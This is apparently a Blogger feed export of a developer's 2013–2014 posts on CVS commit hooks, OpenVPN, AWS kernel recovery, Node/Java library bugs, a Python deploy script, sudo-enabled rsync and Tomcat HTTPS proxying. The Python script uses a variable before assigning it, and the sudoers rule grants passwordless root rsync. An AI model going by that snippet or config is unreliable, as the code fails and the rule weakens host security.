MasterHTML = TrimSection(MasterHTML, "<!--CriticalStart-->", "<!--CriticalEnd-->")
end if
If (ImportantCount = 0) then
MasterHTML = TrimSection(MasterHTML, "<!--ImportantStart-->", "<!--ImportantEnd-->")
end if
If (moderateCount = 0) then
MasterHTML = TrimSection(MasterHTML, "<!--ModerateStart-->", "<!--ModerateEnd-->")
end if
If (LowCount = 0) then
MasterHTML = TrimSection(MasterHTML, "<!--LowStart-->", "<!--LowEnd-->")
end if
ReplaceHTMLTemplate = MasterHTML
End Function
Function TrimSection(CompleteString,LeftString,RightString)
LeftChunkPos=inStr(CompleteString, LeftString)
RightChunkPos=inStrRev(CompleteString, Rightstring)
LeftChunk=Left(CompleteString, LeftChunkPos-1)
RightChunk=mid(CompleteString, RightChunkPos)
TrimSection=LeftChunk & RightChunk
End Function
</code></pre>
Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0tag:blogger.com,1999:blog-5807672428142416405.post-6320986374574410522014-06-04T17:31:00.000-04:002014-06-04T17:31:48.138-04:00Locking CVS repository branchesSometimes we need to lock CVS repository branches before a release to prevent accidentally committed by developers.<br />
<br />
In a CVS repository, the <a href="http://cvsman.com/cvs-1.12.12/cvs_189.php" target="_blank">commitinfo</a> file under the CVSROOT that defines programs to execute whenever <samp>`cvs commit'</samp> is about to execute.<br />
<br />
So lets create a trigger bash script called <samp>validateCommit.sh</samp> that get branches parameters to be validated.<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyhcxrhVr6gLZ95uEx8zFG8PoPcp8Tpe6IzsDflssZxqeMVt4wM5rIzlfpJHp4SiV7b8bnmJ21M3PIvE3VWlx6KjjBKhb6VGOYZTMahCrYFA7lfQTYrSCQ47-P3wlqmG0mqj5eIlSOoxIo/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> #!/bin/bash
if [ -f CVS/Tag ]; then
tag=`cat CVS/Tag`
else
tag=THEAD
fi
for branch in "$@"
do
if [ "$tag" == "T$branch" ]; then
echo Cannot commit to $branch
exit 1
fi
done
echo Commit OK
exit 0
</code></pre>
<br />
We can place this script in any folder, for example /cvs/scripts/<br />
<br />
Then just append a line at the bottom of the CVSROOT/commitinfo of a repository:<br />
<span style="font-family: monospace;">ALL /cvs/scripts/validateCommit.sh branch1 branch2</span><br />
<br />
We could make a script to append/remove branches from that list on multiple repositories at the same time.<br />
<br />
With GIT or SVN, they also provide similar pre-commit hook feature so we can do the same thing.Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0tag:blogger.com,1999:blog-5807672428142416405.post-6075287574645245292014-05-10T17:29:00.000-04:002014-06-03T09:20:09.880-04:00Tunnelblick - OpenVPN GUI for Mac OS XTo connect to an OpenVPN server, I tried the Tunnelblick 3.3.2 but it's unable to connect the server with the console log:<br />
<br />
<i>openvpn[1304] Options error: Unrecognized option or missing parameter(s) in /Library/Application Support/Tunnelblick/Users/username/Tunnelblick.tblk/Contents/Resources/config.ovpn:18: verify-x509-name (2.2.1)</i><br />
<br />
It turns out the Tunnelblick 3.3.2 uses OpenVPN 2.2.1 that <a href="https://groups.google.com/forum/#!topic/tunnelblick-discuss/R6gY0C-CgfY" target="_blank">doesn't support <b>verify-x509-name</b></a><br />
<br />
So try Tunnelblick 3.4beta26 with OpenVPN 2.3.4 selection and it works like a charm.<br />
<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0tag:blogger.com,1999:blog-5807672428142416405.post-75099435537137772892014-04-28T10:09:00.001-04:002014-04-30T15:08:46.098-04:00AWS : Starting udev: Unable to handle kernel paging request at virtual address.. I "baked" custom CentOS AMIs to use on the AWS 4 years ago with their module modules-2.6.16-ec2.tgz without any problems.<br />
<br />
Last week, when we wanted to expand a volume, that a simple process:<br />
- detach the volume from the instance<br />
- create a snapshot of it<br />
- create new volume from that snapshot<br />
- attach that new volume to the instance<br />
<br />
But when the instance started, it thrown out errors:<br />
<span class="jive-subject"><i>Starting udev: Unable to handle kernel paging request at virtual address..</i></span><br />
<span class="jive-subject"><br /></span>
<span class="jive-subject">I wondered there's some problems with the hardware, then tried to repeat several times, </span><span class="jive-subject">even I executed the </span>fsck.ext3 to fix it if there's any hardware failure<span class="jive-subject">, but it didn't work although I could access that volume data by attaching it to another running instance.</span>.<br />
<br />
<span class="jive-subject">So I decided to launch a new instance from a worked AMI to transfer the old instance data/configuration to it but unluckily it also wasn't started with the same the old errors.</span><br />
<span class="jive-subject"><br /></span>
<span class="jive-subject">Looked into the AWS forum, technicians recommended users to use pvgrub kernel instead because <a href="https://forums.aws.amazon.com/thread.jspa?messageID=229927&#229927" target="_blank">2.6.16-xenU kernel is extremely old and does not receive any update</a>... since 2011. That's odd because I still could do detach/attach volume a couple of months.. But it seems their suggestion is terminating the old non-working instance and launch a new one with </span>pvgrub kernel.. That sounds like we will have to bake the AMI again, transfer data to it (although Puppet helps to provision for softwares and configurations..). But that will take time to do the same thing for bunch of current running instances with the old kernel module..<br />
<br />
So finally I found a way to upgrade it to pvgrub kernel on existing non-boot volume with minimal impact.<br />
<br />
Following is what I did (for someone has same problem):<br />
<br />
1. detach the volume out of non-boot instance<br />
2. attach the volume to a running instance as /dev/sdg for example.<br />
3. login into that running instance and mount the new volume: <br />
# mount /dev/sdg /mnt/sdg<br />
<br />
4. install grub and kernel-xen for that device<br />
# mkdir /mnt/sdg/sys/block<br />
# yum -c /mnt/sdg/etc/yum.conf --installroot=/mnt/sdg -y install grub kernel-xen<br />
<br />
5. check to see what installed vmlinuz and initrd version<br />
# ls /mnt/sdg/boot<br />
<br />
in my case they are vmlinuz-2.6.18-371.8.1.el5xen and initrd-2.6.18-371.8.1.el5xen.img<br />
<br />
6. Recreate initial image<br />
# mv /mnt/sdg/boot/initrd-2.6.18-371.8.1.el5xen.img /mnt/sdg/boot/initrd-2.6.18-371.8.1.el5xen.img.org<br />
# chroot /mnt/sdg mkinitrd /boot/initrd-2.6.18-371.8.1.el5xen.img 2.6.18-371.8.1.el5xen --preload=xenblk --preload=xennet --fstab=/etc/fstab<br />
<div>
<br /></div>
<div>
7. Install grub</div>
<div>
<div>
# chroot /mnt/sdg grub-install /dev/sdg</div>
</div>
<div>
<br /></div>
8. Create the /mnt/sdg/boot/grub/menu.lst file with below content<br />
<br />
default 0<br />
timeout 5<br />
title CentOS<br />
root (hd0)<br />
kernel /boot/vmlinuz-2.6.18-371.8.1.el5xen ro root=/dev/sda1<br />
initrd /boot/initrd-2.6.18-371.8.1.el5xen.img<br />
<br />
9. Unmount it<br />
# umount /mnt/sdg<br />
<br />
10. Detach that volume.<br />
<br />
11. Create a snapshot from that volume.<br />
<br />
12. Create an AMI from that snapshot with suitable kernel/Image ID from <a href="http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedKernels.html" target="_blank">this</a><br />
(in my case it's aki-f08f11c0)<br />
<br />
13. Launch a new instance from that AMI<br />
<br />
So we could recover existing installed softwares/configuration/data.<br />
<span class="jive-subject"><br /></span>
<span class="jive-subject"><br /></span>Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0tag:blogger.com,1999:blog-5807672428142416405.post-11861576002928822222014-04-11T15:38:00.001-04:002014-11-19T08:42:44.937-05:00mongoose-paginate<h1 class="gh-header-title" style="background-color: white; box-sizing: border-box; margin: 0px 150px 0px 0px; word-wrap: break-word;">
<span style="font-family: Times, Times New Roman, serif;"><span class="js-issue-title" style="box-sizing: border-box; color: #333333; font-weight: normal; line-height: 1.1;"><span style="font-size: small;">When using </span></span><span style="background-color: transparent; font-weight: normal; line-height: 16px;"><span style="color: #333333; font-size: small;"><a href="https://github.com/edwardhotchkiss/mongoose-paginate" target="_blank">mongoose-paginate 1.2.0</a> </span></span><span style="background-color: transparent; color: #333333; font-size: small; font-weight: normal; line-height: 16px;">for </span><span style="background-color: transparent; font-weight: normal; line-height: 16px;"><span style="color: #333333; font-size: small;">pagination I got two following issues:</span></span></span></h1>
<div>
<span style="background-color: transparent; color: #333333; font-size: small; font-weight: normal; line-height: 16px;"><span style="font-family: Times, Times New Roman, serif;"><br /></span></span></div>
<h1 class="gh-header-title" style="background-color: white; box-sizing: border-box; color: #333333; font-weight: normal; line-height: 1.1; margin: 0px 150px 0px 0px; word-wrap: break-word;">
<span class="js-issue-title" style="box-sizing: border-box;"><span style="font-family: Times, Times New Roman, serif; font-size: small;">1. No paginate method on my Model class error</span></span></h1>
<div>
<span class="js-issue-title" style="box-sizing: border-box;"><span style="font-family: Times, Times New Roman, serif;"></span></span><br />
<div style="background-color: white; box-sizing: border-box; color: #333333; line-height: 23.799999237060547px; margin-bottom: 15px; margin-top: 15px;">
<span class="js-issue-title" style="box-sizing: border-box;"><span style="font-family: Times, Times New Roman, serif;">Regarding to the closed "No paginate method on my Model class" issue at <a class="issue-link" href="https://github.com/edwardhotchkiss/mongoose-paginate/issues/9" style="box-sizing: border-box; color: #4183c4; text-decoration: none;" title="No paginate method on my Model class">#9</a>, I found the problem that the mongoose module initializes new object:</span></span><br />
<span class="js-issue-title" style="box-sizing: border-box;"><span style="font-family: Times, Times New Roman, serif;"><i>module.exports = exports = new Mongoose; var mongoose = module.exports;</i>so if we use :</span></span><br />
<span class="js-issue-title" style="box-sizing: border-box;"><span style="font-family: Times, Times New Roman, serif;"><i>var mongoose = require('mongoose'), paginate = require('mongoose-paginate');</i>then the 1st mongoose variable is different from the mongoose variable with extend paginate method inside the mongoose-paginate module.</span></span></div>
<span class="js-issue-title" style="box-sizing: border-box;"><span style="font-family: Times, Times New Roman, serif;">
<div style="background-color: white; box-sizing: border-box; color: #333333; line-height: 23.799999237060547px; margin-bottom: 15px; margin-top: 15px;">
That why the error "No paginate method" was thrown out.</div>
<div style="background-color: white; box-sizing: border-box; color: #333333; line-height: 23.799999237060547px; margin-bottom: 15px; margin-top: 15px;">
So I suggest we export the mongoose variable at the bottom of the mongoose-paginate.js:<br />
<i>module.exports = mongoose;</i></div>
<div style="background-color: white; box-sizing: border-box; color: #333333; line-height: 23.799999237060547px; margin-bottom: 15px; margin-top: 15px;">
Then we use it as:<br />
<i>var mongoose = require('mongoose-paginate');</i></div>
<div style="background-color: white; box-sizing: border-box; color: #333333; line-height: 23.799999237060547px; margin-bottom: 15px; margin-top: 15px;">
2. Mongoose also supports Population where we can get related documents within query - like join in RDBMS so I add it to mongoose-paginate. But I got an error:</div>
<div style="background-color: white; box-sizing: border-box; margin-bottom: 15px; margin-top: 15px;">
<span style="color: #333333;"><span style="line-height: 23.799999237060547px;"><i>"MissingSchemaError: Schema hasn't been registered for model "undefined"</i></span></span></div>
<div style="background-color: white; box-sizing: border-box; margin-bottom: 15px; margin-top: 15px;">
<span style="color: #333333;"><span style="line-height: 23.799999237060547px;">I checked everything - </span></span><span style="background-color: transparent; line-height: 23.799999237060547px;"><span style="color: #333333;">Schema, Model.. were correct and tested them well with the main </span></span><span style="color: #333333; line-height: 23.799999237060547px;">Mongoose module (3.8.8) and finally it turned out that </span><span style="background-color: transparent; line-height: 23.799999237060547px;"><span style="color: #333333;">mongoose-paginate 1.2.0 is using </span></span><span style="color: #333333; line-height: 23.799999237060547px;">Mongoose 3.5.1 so then upgraded to 3.8.8 and got it to work.</span></div>
</span></span></div>
Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0tag:blogger.com,1999:blog-5807672428142416405.post-45600675981034893482014-02-11T19:10:00.000-05:002014-11-19T08:42:59.706-05:00Using Python script to deploy Java J2EE appsWhen deploy a J2EE app, we usually want to update configuration files such as web.xml, hibernate.cfg.xml, ehcache.xml.. We can use a bash script to do that but Python can do better since it provides XML parser.<br />
<br />
To make the script for many environments, we will need a configuration file that contains specific environment's app information.<br />
I prefer to make it in MS .INI file format. We will need some sections like environment, hibernate.cfg.xml, web.xml, ehcache.xml... such as:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyhcxrhVr6gLZ95uEx8zFG8PoPcp8Tpe6IzsDflssZxqeMVt4wM5rIzlfpJHp4SiV7b8bnmJ21M3PIvE3VWlx6KjjBKhb6VGOYZTMahCrYFA7lfQTYrSCQ47-P3wlqmG0mqj5eIlSOoxIo/s320/codebg.gif); background: #f0f0f0; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> [environment]
</code></pre>
<pre style="color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> tomcat-folder = /var/lib/tomcat6
tomcat-user = tomcat6
</code></pre>
<pre style="background-color: #f0f0f0; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; width: 646.46875px;"><code style="word-wrap: normal;"> [hibernate.cfg.xml] </code></pre>
<pre style="font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; width: 646.46875px;"><code style="word-wrap: normal;"> hibernate.connection.url = jdbc:postgresql://dbserver:5432/app
hibernate.connection.username = username
hibernate.connection.password = password </code></pre>
<pre style="font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; width: 646.46875px;"><code style="word-wrap: normal;"><pre style="background-color: #f0f0f0; font-family: arial; height: auto; overflow: auto; padding: 0px; width: 646.46875px;"><code style="word-wrap: normal;"> [web.xml] </code></pre>
<pre style="font-family: arial; height: auto; overflow: auto; padding: 0px; width: 646.46875px;"><code style="word-wrap: normal;"> data1 = abc
Data2 = xyz </code></pre>
</code></pre>
To parse that file, we use ConfigParser:<br />
<pre style="background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> import sys, os, datetime, shutil, copy, ConfigParser
from xml.etree import ElementTree as ET
app = sys.argv[1]
deployFolder = os.path.dirname(os.path.realpath(__file__)) + '/'
config = ConfigParser.ConfigParser()
config.optionxform = str #preserve case-sensitive
config_file = app + '.cfg'
config.read(deployFolder + config_file)
tomcatFolder = config.get('environment', 'tomcat-folder')
appFolder = tomcatFolder + '/webapps/' + app </code></pre>
<br />
Then parse .xml configuration and update them<br />
<pre style="background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"><b> #parse web.xml section into dictionary
</b> webXMLdic = dict(config.items('web.xml'))
<b> #parse the app web.xml
</b> webXMLfile = appFolder + '/WEB-INF/web.xml'
webXML = ET.parse(webXMLfile)
for param in webXML.getroot().getiterator('context-param'):
name = param.find('param-name')
value = param.find('param-value')
if webXMLdic.has_key(name.text):
new_value = webXMLdic.get(name.text)
value.text = new_value
else:
print 'not found value for param ' + name.text + ' in ' + config_file
<b> #update the app web.xml
</b> with open(webXMLfile, 'w') as f:
f.write('<?xml version="1.0" encoding="UTF-8"?>\n' \
'<!DOCTYPE web-app \nPUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" \n' \
'"http://java.sun.com/dtd/web-app_2_3.dtd">\n')
ET.ElementTree(webXML.getroot()).write(f,'utf-8')
<b> #parse hibernate.cfg.xml section into dictionary
</b> hibernateXMLdic = dict(config.items('hibernate.cfg.xml'))
<b> #parse the app hibernate.cfg.xml
</b> hibernateXML = ET.parse(hibernateXMLfile)
hibernateXMLfile = appFolder + '/WEB-INF/classes/hibernate.cfg.xml'
#the XPath selector functionality was not implemented in ElementTree until version 1.3, which ships with Python 2.7, so I use iterator loop to work for lower Python versions
for property in hibernateXML.getroot().getiterator('property'):
name = property.get('name')
if hibernateXMLdic.has_key(name):
new_value = hibernateXMLdic.get(name)
property.text = new_value
print name, new_value
if (name == 'hbm2ddl.auto'): #remove update/create db if it's declared
hibernateXML.getroot().find('session-factory').remove(property)
<b> #update the app hibernate.cfg.xml
</b> with open(hibernateXMLfile, 'w') as f:
f.write('<!DOCTYPE hibernate-configuration PUBLIC \n' \
'"-//Hibernate/Hibernate Configuration DTD 3.0//EN" \n' \
'"http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd">\n')
ET.ElementTree(hibernateXML.getroot()).write(f)
</code></pre>
<br />
We will need other functions such as extract the war file, copy/backup..., but they are simple things to do with Python.Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0tag:blogger.com,1999:blog-5807672428142416405.post-70637449597174500062014-01-04T07:50:00.002-05:002014-01-04T07:50:42.021-05:00rsync for non-root user over SSH and preserve ownership/permissions/time..If we need to archive files by rsync over ssh and preserve ownership/permissions/time..with a non-root account, we could do as follow steps:<br />
<br />
1. Edit /etc/sudoers file (or exec visudo)<br />
- Set NOPASSWD for sync_user to execute the rsync command.<br />
<i>sync_user ALL= NOPASSWD:/usr/bin/rsync</i><br />
<i>- </i>Skip tty requirement for sync_user (If we don't do this, we'll get the error: sudo: sorry, you must have a tty to run sudo)<br />
<i>Defaults:sync_user !requiretty</i><br />
<br />
2. Then do rsync from local to remote with private key and <i>rsync-path</i> option:<br />
<i>rsync -avzH -e "ssh -i sync_user.pem" --rsync-path="sudo rsync" --delete /local_dir/ sync_user@remote_host:/remote_dir</i>Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0tag:blogger.com,1999:blog-5807672428142416405.post-28250941419642418542013-12-31T16:31:00.001-05:002013-12-31T16:31:46.267-05:00OpenConnect client for Cisco's AnyConnect SSL VPNIf we need to connect Cisco's AnyConnect SSL VPN from an AWS CentOS instance without using Cisco AnyConnect client, there's the <a href="http://www.infradead.org/openconnect/" target="_blank">OpenConnect</a> as an alternative.<br />
<br />
On CentOS 5.4, it's easy to install OpenConnect from enabled Red Hat Enterprise Linux / CentOS Linux Enable EPEL (Extra Packages for Enterprise Linux) repository.<br />
If it is not, then install it:<br />
<br />
<div class="p1">
<i>rpm -ivh http://dl.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm</i></div>
<div class="p1">
<br /></div>
<div class="p1">
And then install openconnect: <i>yum install openconnect</i></div>
Then use it to connect VPN: <i>openconnect -u auser cisco-vpn-server</i><br />
But after enter the password, it throws an error: <b>Failed to open tun device: No such device</b><br />
<br />
Let's check the tun module:<br />
<br />
[root@myhost ~]# <i>modprobe tun</i><br />
FATAL: Module tun not found.<br />
<br />
[root@myhost ~]# <i>cat /dev/net/tun</i><br />
cat: /dev/net/tun: No such device<br />
<div>
<br /></div>
<div>
The module tun is /lib/modules/2.6.16-xenU/kernel/drivers/net/tun.ko. For some reason, if it's missed, so get it from http://s3.amazonaws.com/ec2-downloads/modules-2.6.16-ec2.tgz and unpack/copy entire folder lib/modules/2.6.16-xenU/kernel to /lib/modules/2.6.16-xenU</div>
<div>
<div>
<br /></div>
<div>
Then we need to reload modules:<br />
[root@myhost ~]# <i>depmod -ae 2.6.16-xenU</i></div>
</div>
<div>
[root@myhost ~]# <i>modprobe tun</i><br />
<br /></div>
<div>
Then connect VPN again, and it works: <b>Connected tun0 as a.b.c.d, using SSL</b></div>
<div>
Then just open another terminal and ssh to a server in the network.</div>
<div>
<br /></div>
<div>
<br /></div>
<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0tag:blogger.com,1999:blog-5807672428142416405.post-48784044983610968372013-12-13T11:30:00.000-05:002013-12-13T11:30:40.880-05:00Tynamo tapestry-security 0.5.1 and UNAUTHORIZED_URL bugThe <a href="http://tynamo.org/tapestry-security+guide" target="_blank">Tynamo tapestry security 0.5.1</a> allows us to configure the URL path when unauthorized access happens. But it only works when we use annotation @RequiresRoles for each page, while it won't if we use Shiro createChain for global configuration, like <br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyhcxrhVr6gLZ95uEx8zFG8PoPcp8Tpe6IzsDflssZxqeMVt4wM5rIzlfpJHp4SiV7b8bnmJ21M3PIvE3VWlx6KjjBKhb6VGOYZTMahCrYFA7lfQTYrSCQ47-P3wlqmG0mqj5eIlSOoxIo/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> configuration.add(factory.createChain("/admin/**").add(factory.roles(),User.Role.admin.name()).build());
</code></pre>
, the app displays:<br />
<br />
<i>HTTP ERROR 401</i><br />
<i>Problem accessing /admin/home. Reason:</i><br />
<i>Unauthorized</i><br />
<i>------------------------------------------------------------------------</i><br />
<i>/Powered by Jetty:///</i><br />
<br />
instead of configured URL page.<br />
<br />
The reason is the org.tynamo.security.shiro.authz.AuthorizationFilter.<br />
<span class="s1">getUnauthorizedUrl</span>() overwrites the org.tynamo.security.shiro.AccessControlFilter.<span class="s1">getUnauthorizedUrl</span>() where the configured UNAUTHORIZED_URL passed in. The AuthorizationFilter.<br />
<span class="s1">getUnauthorizedUrl</span>() returns value from class private variable unauthorizedUrl, so it's always null.<br />
<br />
To fix it, just patch AuthorizationFilter by removing unauthorizedUrl, getUnauthorizedUrl(), setUnauthorizedUrl(.) as <a href="http://comments.gmane.org/gmane.comp.java.tynamo.user/826" target="_blank">this</a>.<br />
<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0tag:blogger.com,1999:blog-5807672428142416405.post-16812865944223543652013-12-10T20:05:00.000-05:002013-12-13T11:29:54.815-05:00Apache Shiro - Remember me and SerializationException: Unable to deserialze argument byte arrayWhen implementing <a href="http://tynamo.org/tapestry-security+guide" target="_blank">Tynamo tapestry security 0.5.1</a>, I got exception when using Remember me<br />
<br />
[WARN] mgt.DefaultSecurityManager Delegate RememberMeManager instance of type [$RememberMeManager_133e98f5ddc26344] threw an exception during getRememberedPrincipals().<br />
org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at org.apache.shiro.mgt.AbstractRememberMeManager.deserialize(AbstractRememberMeManager.java:514)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at org.apache.shiro.mgt.AbstractRememberMeManager.convertBytesToPrincipals(AbstractRememberMeManager.java:431)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><br />
Caused by: java.io.StreamCorruptedException: invalid type code: EE<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1353)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at java.io.ObjectInputStream.readArray(ObjectInputStream.java:1639)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1320)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1950)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1874)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1756)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1326)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at java.io.ObjectInputStream.readObject(ObjectInputStream.java:348)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at java.util.HashSet.readObject(HashSet.java:291)<br />
...<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at java.io.ObjectInputStream.readObject(ObjectInputStream.java:348)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:77)<br />
<br />
The Tynamo tapestry security 0.5.1 is based on <a href="http://shiro.apache.org/" target="_blank">Apache Shiro</a> 1.2.0<br />
<br />
Google around and found it was <a href="https://issues.apache.org/jira/browse/SHIRO-334" target="_blank">resolved</a> for 1.2.0 release. That's interesting.<br />
<br />
So I tried to debug the <a href="http://grepcode.com/file/repo1.maven.org/maven2/org.apache.shiro/shiro-core/1.2.0/org/apache/shiro/io/ClassResolvingObjectInputStream.java" target="_blank">ClassResolvingObjectInputStream</a> and <a href="http://grepcode.com/file/repo1.maven.org/maven2/org.apache.shiro/shiro-core/1.2.0/org/apache/shiro/util/ClassUtils.java" target="_blank">ClassUtils</a> and still didn't know the reason why the ClassUtils.forName(..) can't load byte array class. Finally google around for deserialize byte array exception and got <b><a href="http://bugs.sun.com/view_bug.do?bug_id=6500212" target="_blank">JDK-6500212 : (cl) ClassLoader.loadClass() fails when byte array is passed</a> </b>resolved since 2007!<br />
<br />
I'm running the app with 1.6.0.jdk on MacOS X so that might cause the problem.<br />
<br />
So I patched the ClassUtils as below:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyhcxrhVr6gLZ95uEx8zFG8PoPcp8Tpe6IzsDflssZxqeMVt4wM5rIzlfpJHp4SiV7b8bnmJ21M3PIvE3VWlx6KjjBKhb6VGOYZTMahCrYFA7lfQTYrSCQ47-P3wlqmG0mqj5eIlSOoxIo/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> public static Class forName(String fqcn) throws UnknownClassException {
.....
if (clazz == null) {//Luan - patch for byte array class (class name =[B - ref http://bugs.sun.com/view_bug.do?bug_id=6500212
try {
clazz = Class.forName(fqcn,false,Thread.currentThread().getContextClassLoader());
} catch (ClassNotFoundException e) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current thread context.");
}
}
}
if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " +
"system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
}
return clazz;
}
</code></pre>
<br />
and it worked!<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0tag:blogger.com,1999:blog-5807672428142416405.post-45068395598723992012013-11-22T21:46:00.000-05:002013-11-22T21:48:41.031-05:00Tapestry 5 https, Tomcat and load balancer plain HTTP proxyWe usually place Tapestry 5 apps running on Tomcat behind an Apache HTTPD with mod_jk / mod_proxy_ajp or mod_proxy_http.<br />
<br />
Request protocols are plain HTTP or secure HTTPS from users to the Apache and same thing from Apache to Tomcat. Tapestry 5 auto-detects requests protocol and creates suitable URLs for further calling back actions for the application.<br />
<br />
Below are 2 examples:<br />
1. Browsers --http--> Apache --http--> Tomcat --Tapestry 5--http --> Apache --http--> Browsers ...<br />
2. Browsers --https--> Apache --https--> Tomcat --Tapestry 5--https --> Apache --https--> Browsers ...<br />
<br />
<div>
When we deploy an app required to access via https to load balancers connect to Tomcat in plain http proxy as:</div>
3. Browsers --https--> Load balancers --http--> Tomcat--Tapestry 5 --http--> Load balancers --https --> Browsers ...<br />
<br />
Then we get into the browser error “Blocked loading mixed active content” when loading an <b>https</b> page and mix some other <b>http</b> requests in background via AJAX within a page.<br />
<br />
The reason is the Tomcat always got http requests from load balancers, so Tapestry 5 builds base URLs in http protocol.<br />
<br />
Tapestry 5 allows us to override how these default URLs are created by the <a href="http://tapestry.apache.org/https.html" target="_blank">BaseURLSource service</a>.<br />
<br />
But that's not a good way to go with because we have to decide what protocol should be returned for each deploy environment in code...<br />
<br />
Google around and found these posts:<br />
<br />
<a href="http://henningpetersen.com/post/6/teaching-tapestry-to-use-network-path-references" target="_blank">Teaching Tapestry to use network path references</a><br />
<a href="http://apache-tapestry-mailing-list-archives.1045711.n5.nabble.com/T5-BUG-Proxy-Situation-Tapestry-5-3-3-Not-Respecting-isSecure-for-Form-Action-URL-tt5715129.html#none" target="_blank">[T5]: BUG: Proxy Situation: Tapestry 5.3.3 Not Respecting isSecure for Form Action URL</a><br />
<a href="http://apache-tapestry-mailing-list-archives.1045711.n5.nabble.com/Problem-pushing-application-to-production-td4817901.html" target="_blank">Problem pushing application to production</a><br />
<br />
The last one is very helpful when Kalle said about Tomcat connector configuration with proxyPort..<br />
<br />
Study more <a href="http://tomcat.apache.org/tomcat-6.0-doc/config/http.html" target="_blank">about it</a> and found a solution:<br />
<br />
Tomcat http connector should be reconfigured as:<br />
<i><Connector port="8080" <b>proxyPort="443" secure="true" scheme="https"</b></i><br />
<i>protocol="HTTP/1.1" connectionTimeout="20000" URIEncoding="UTF-8" redirectPort="8443"/></i><br />
<br />
And http proxy in Apache/load balancer:<br />
<i>ProxyPreserveHost On</i><br />
<i>ProxyPass /T5app <b>http</b>://tomcat:8080/T5app</i><br />
<i>ProxyPassReverse /T5app <b>http</b>://tomcat:8080/T5app</i><br />
<br />
So the Apache/load balancer handles https come from browsers, but makes http proxy to Tomcat and the Tomcat returns secure https/443 when Tapestry needs to build base URLs.<br />
<br />
App web.xml<br />
<i><context-param></i><br />
<i> <param-name><b>tapestry.production-mode</b></param-name></i><br />
<i> <param-value><b>true</b></param-value></i><br />
<i></context-param></i><br />
<i><context-param></i><br />
<i> <param-name><b>tapestry.secure-enabled</b></param-name></i><br />
<i> <param-value><b>false</b></param-value></i><br />
<i></context-param></i><br />
<br />
<br />
